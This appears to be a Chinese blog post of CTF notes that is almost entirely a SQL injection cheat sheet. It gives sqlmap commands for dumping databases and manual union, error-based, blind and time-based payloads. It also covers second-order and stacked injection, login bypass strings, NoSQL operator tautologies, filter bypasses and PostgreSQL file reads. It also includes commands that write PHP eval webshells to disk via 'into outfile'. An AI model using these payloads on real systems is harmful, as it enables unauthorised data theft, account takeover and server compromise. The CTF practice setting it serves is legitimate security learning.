SQL注入

python sqlmap.py -u "http://80.endpoint-b2dcadd7bd82489a84dab4e051aaf613.dasc.buuoj.cn:81/?id=1" --current-db
python sqlmap.py -u "http://challenge-f6ea6271f47a5c21.sandbox.ctfhub.com:10080/?id=1" -D sqli --tables
python sqlmap.py -u "http://challenge-f6ea6271f47a5c21.sandbox.ctfhub.com:10080/?id=1" -D sqli  -T flag  --columns
python sqlmap.py -u "http://challenge-f6ea6271f47a5c21.sandbox.ctfhub.com:10080/?id=1" -D sqli  -T flag  -C flag --dump

手工注入
联合查询注入原理
?id=-1' union select 1,(select xxxx),3 order by 3 %23
?id=-1'  union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' %23
id=-1 union select 1,2
id=-1 union select 1,database()  查询当前数据库
-1 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli'
-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'
-1 union select 1,group_concat(flag) from sqli.flag


报错注入
updatexml(1,concat(0x7e,version(),0x7e),1)      version()可以替换成其他命令
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'
     ),0x7e),1) and '1'='1
extractvalue(1,concat(0x7e,version(),0x7e))
exp(~(select * from(version())a))
?id=-1'  union select 1,updatexml(1,concat(0x7e,version(),0x7e),1),3  %23


布尔注入 有页面变化
ascii(substr((select database()),1,1)) > 64 
substr(x,0,1)函数会将字符串x进行裁剪,并返回从第0个字符开始的下1个字符,此处select database()返回的就是数据库名的第一个字符
最后使用ascii()函数将我们查询到的字符转化为ascii码,进而与64进行比较,从而得知数据库第一位与64的大小关系
输入?id=1回显正常,?id=-1回显不同,可以判断页面存在布尔盲注

时间盲注 无回显
if(((ascii(substr((select database()) ,1,1)))>1),sleep(2),0)
if( , , )判断语句:判断第一个参数的条件是否正确,如果正确,就会执行第二个参数,否则执行第三个参数。比如if(0,1,2)会返回2
上述payload判断数据库名的第一个字符的ascii值,如果大于1则延时2秒,否则返回0

二次注入
首先可以尝试注册一个用户名为 admin'# 的用户。
使用我们注册的admin'# 用户登录,并修改密码为123456,猜测SQL语句类似为
UPDATE users SET PASSWORD='123456' WHERE
username='admin'#' and password='$curr_pass'
由于#号注释掉了后面的语句,所以,我们本来是修改的admin'#的密码,但实际上修改了admin的密码
使用用户名admin密码123456即可成功登录admin账户,二次注入成功

重言式
username[$ne]=&password[$ne]=
username[$gt]=&password[$gt]=
username[$gte]=&password[$gte]=
绕过集合
大小写混合法
如果过滤的字符串为纯大写或纯小写, 则可以使用大小写混合的方式如使用SeLeCt来代替select
双写绕过法
如果过滤的方式是替换危险字符串如str_replace("select", ""),则可以通过双写的方法,如selselectect使得替换后变为select从而实现绕过
编码绕过法
使用特殊的编码如ascii、unicode等替换数据中的敏感词汇
SELECT * FROM users WHERE name=char(0x67)+char(0x75)+char(0x65)+char(0x73)+char(0x74)

空格被过滤
-1/**/union/**/select/**/1,2
-1/**/union/**/select/**/database(),1
-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'
-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='xktnrbprqv'
select(flag)from(flag);
-1(union)select(1,2)
-1%20union%20select%201,2
怎么测盲注
if(i>0,1,2)
if(i<0,1,2)
1' and 1=1%23

or被过滤 会显示 you have error in SQL syntax;check the manual that ...at line 1
绕过
替换语句
双写绕过学oorr
用字典查哪些词被过滤,找文档可以替换字

http://80.endpoint-b2dcadd7bd82489a84dab4e051aaf613.dasc.buuoj.cn:81/?id=1
python sqlmap.py -u "http://80.endpoint-b2dcadd7bd82489a84dab4e051aaf613.dasc.buuoj.cn:81/?id=1" -D users --tables
python sqlmap.py -u "http://80.endpoint-b2dcadd7bd82489a84dab4e051aaf613.dasc.buuoj.cn:81/?id=1" -D db -T users --columns
python sqlmap.py -u "http://80.endpoint-b2dcadd7bd82489a84dab4e051aaf613.dasc.buuoj.cn:81/?id=1" -D db -T secret   --dump

snamp -u xxxx -D -T -C "pw" --dump
sqlmap -u ‘http://61.147.171.105:51922/?id=1’ -D cyber -T cyber -C user,Id,pw --dump  一把梭

被过滤 +-  堆叠注入
1';show databases;#  查询所有数据库
1';show tables;#   查询所有表
1';show columns from words;#  查询words下列
1';show columns from `1919810931114514`;#      (字符串为表名操作时要加反引号)
根据两个表的情况结合实际查询出结果的情况判断出words是默认查询的表,因为查询出的结果是一个数字加一个字符串,words表结构是id和data,传入的inject参数也就是赋值给了id
这道题没有禁用rename和alter,所以我们可以采用修改表结构的方法来得到flag
将words表名改为words1,再将数字名表改为words,这样数字名表就是默认查询的表了,但是它少了一个id列,可以将flag字段改为id,或者添加id字段
1';rename tables `words` to `words1`;rename tables `1919810931114514` to `words`; alter table `words` change `flag` `id` varchar(100);#这段代码的意思是将words表名改为words1,1919810931114514表名改为words,将现在的words表中的flag列名改为id
1' or 1=1 #
1;show tables#
1;show columns from `1919810931114514`;#
1';handler `1919810931114514` open as `a`;handler `a` read next;#

用户名密码注入漏洞
1' or '1'='1' # 
1' or '1'='1' --
username=1&password=1' or '1'='1
username=1&password=1%27%20or%20%271%27=%271   --BP
payload:
id=' or ''='
id=' or 1=1 -- +

post 方式
1.获取注入点
sqlmap -u http://192.168.100.161:53459 --data "search=df"
2.获取数据库信息
sqlmap -u http://192.168.100.161:53459 --data "search=df" -dbs
3.获库内表信息
sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news --tables
4.获取表内字段信息
sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news -T secret_table --columns
5.获取字段内容,得到flag
sqlmap -u http://192.168.100.161:53459 --data "search=df" -D news -T secret_table -C "fl4g" --dump


目录里有pypmyadmin
##select "<?php eval($_POST[aaaa]);?>" into outfile '/tmp/yihua.php'##
##select "<?php eval(@$_POST['flag']);?>"into outfile '/tmp/test.php'##
http://61.147.171.105:60757/?page=tmp/yihua.php


tamper

NOsql注入
PostgreSQL
1 and 1=1  发现单引号被过滤
1 union select null,chr(120),version()--
1 union select null,chr(120),(current_database())--     查询当前数据库
1 union select null,chr(120),(schemaname) FROM pg_tables--       查询所有数据库
1 union select null,chr(120),(tablename) FROM pg_tables WHERE schemaname IN ($$ffllaag$$)--   查询感兴趣的数据库
1 UNION SELECT NULL,attname,NULL FROM pg_namespace,pg_type,pg_attribute b JOIN pg_class a ON a.oid=b.attrelid WHERE a.relnamespace=pg_namespace.oid AND   pg_type.oid=b.atttypid AND attnum>0 AND a.relname=($$user$$) AND nspname=($$ffllaag$$)--   查询感兴趣的字段值
1 UNION ALL SELECT NULL,uname||chr(45)||id||chr(45)||passwd,NULL FROM ffllaag.user--
1 union select null,pg_ls_dir($$/$$),* from pg_ls_dir($$/$$)--  列出根目录函数
1 union select null,pg_read_file($$/aflag$$),chr(120)--   读文件
 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值